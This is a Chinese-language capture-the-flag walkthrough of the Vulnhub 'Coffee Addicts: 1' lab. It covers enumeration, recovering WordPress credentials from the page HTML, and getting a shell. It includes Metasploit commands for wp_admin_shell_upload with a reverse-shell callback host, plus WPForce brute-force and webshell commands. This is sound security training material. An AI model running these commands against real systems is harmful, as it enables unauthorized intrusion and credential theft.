本文主要是介绍【Vulnhub 靶场】【Coffee Addicts: 1】【简单-中等】【20210520】，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

1、环境介绍

靶场介绍：https://www.vulnhub.com/entry/coffee-addicts-1,699/
靶场下载：https://download.vulnhub.com/coffeeaddicts/coffeeaddicts.ova
靶场难度：简单 - 中等
发布日期：2021年5月20日
文件大小：1.3 GB
靶场作者：BadByte
靶场描述：

我们的咖啡店被黑客入侵了！！你能修复损坏并找出是谁干的吗？
与VMware相比，这在VirtualBox中效果更好

打靶耗时：6+小时，整体还算顺畅，唯一卡顿就在找密码上，还有一处误导（不知道算不算）？
打靶关键：

HTML 静态阅读
WordPress 如何 GetShell
id_rsa 密码爆破或 SSH 密码爆破
Linux信息收集、C++代码阅读、SUOD提权

2、主机发现与端口扫描

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧

3、端口访问

3.1、22端口 - SSH

初步访问，看看有没有什么可用的提示信息

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# ssh 192.168.56.44
The authenticity of host '192.168.56.44 (192.168.56.44)' can·t be established.
ED25519 key fingerprint is SHA256:BWCczj8AdNhb8SBbp5fPUKT8SekaWiJXGqMl+3+pLy0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.44' (ED25519) to the list of known hosts.

Permission denied, please try again.
root@192.168.56.44·s password: 
root@192.168.56.44: Permission denied (publickey,password).

3.2、80端口 - Web

获取域名：coffeeaddicts.thm
获取关键字：ErrorCauser、yee yee ass、BTC

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# curl http://192.168.56.44/          
ADD coffeeaddicts.thm to your /etc/hosts

3.2.1、添加 hosts

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# cat /etc/hosts                                                                         
127.0.0.1       localhost
127.0.1.1       kali
......
192.168.56.44 coffeeaddicts.thm

3.2.2、Base64解码

im_the_lizard_king 可能包含用户名
youtube 打不开，这里就不访问了

┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# echo 'VEhNe2ltX3RoZV9saXphcmRfa2luZ30gaHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==' | base64 -d
THM{im_the_lizard_king} https://www.youtube.com/watch?v=dQw4w9WgXcQ

3.2.3、注释，获取代码

<!-- code taken from https://github.com/Nomy/Hacked-Website-Template -->

4、子域名扫描（没有扫到）

添加了域名，就可能包含子域名

ksubdomain enum -d coffeeaddicts.thm
gobuster dns -d coffeeaddicts.thm -r 192.168.56.44:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 256
gobuster vhost -u http://coffeeaddicts.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --append-domain --timeout 60s --random-agent -q | grep "Status: 200"

5、目录扫描

又是一个 WordPress

# 基础小字典，初扫摸底
dirb http://coffeeaddicts.thm
# 较全面 conda activate py37
dirsearch -u http://coffeeaddicts.thm -t 64 -e *
# 包含静态检查 conda activate py310
cd ~/dirsearch_bypass403 ; python dirsearch.py -u "http://coffeeaddicts.thm" -j yes -b yes
# 较全面 Plus conda activate py39
cd ~/soft/dirmap ; python3 dirmap.py -i http://coffeeaddicts.thm -lcf
# 常规文件扫描
gobuster dir -u http://coffeeaddicts.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf -e -k -r -q
# 可执行文件扫描
gobuster dir -u http://coffeeaddicts.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x js,aspx,cgi,sh,jsp -e -k -r -q
# 压缩包，备份扫描
gobuster dir -u http://coffeeaddicts.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x rar,zip,7z,tar.gz,bak,txt,old,temp -e -k -r -q

6、WordPress CMS 扫描

6.1、密文解码（没解出来）

dc6b218a37f27e0f2b33aee11f7adfd2

7、下载的代码解析（好像也没有啥有用信息）

字符串替换（应该也算是密文解码吧）

8、静态检测

当前可用信息不足，回头重新审视博客内容

8.1、HTML静态检查

疑似用户密码：gus : gus i need you back

8.2、JS静态检测

└─# python3 SecretFinder.py -i http://coffeeaddicts.thm/wordpress/ -e -g 'jquery;bootstrap;api.google.com' -o cli

9、尝试登录

9.1、WordPress 登录

直接尝试（失败）

在这里插入图片描述

尝试去掉空格（成功）

在这里插入图片描述

9.2、SSH 登录（失败）

10、上传 PHP 反弹连接（三个方法选其一即可）

10.1、方法一：修改主题（实操）

在这里插入图片描述

找到绝对路径

# 之前 CMD 扫描，找到了当前主题路径
# theme=coffee-time
http://coffeeaddicts.thm/wordpress/wp-admin/theme-editor.php?theme=coffee-time&Submit=Select
http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/readme.txt# 合理类推
# theme=twentynineteen
http://coffeeaddicts.thm/wordpress/wp-admin/theme-editor.php?theme=twentynineteen&Submit=Select
http://coffeeaddicts.thm/wordpress/wp-content/themes/twenty-nineteen/404.php

10.2、方法二：MSF

msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.56.44
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST coffeeaddicts.thm
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST 192.168.56.3
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LPORT 10086
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME gue
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD gusineedyouback
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

10.3、方法三：脚本

git clone https://github.com/n00py/WPForce
cd WPForce
# 用户密码爆破
python wpforce.py -i users.txt -w pwdlist.txt -u "http://www.targetsite.com"
# 获取用户密码后，获取 WebShell
python yertle.py -u gue -p gusineedyouback -t http://coffeeaddicts.thm/wordpress/ --interactive

11、信息收集

hello, admin.
你好，管理员。
as you can see your site has been hacked, any attempt of fixing it is futile, as we removed you from the sudoers and we changed the root password.
正如你所看到的，你的网站已经被黑客入侵，任何修复它的尝试都是徒劳的，因为我们将你从sudoers中删除，并更改了根密码。

11.2.4、文件内容搜索（这个地方用处不大，上面信息足够提权）

11.3、id_rsa 秘钥爆破
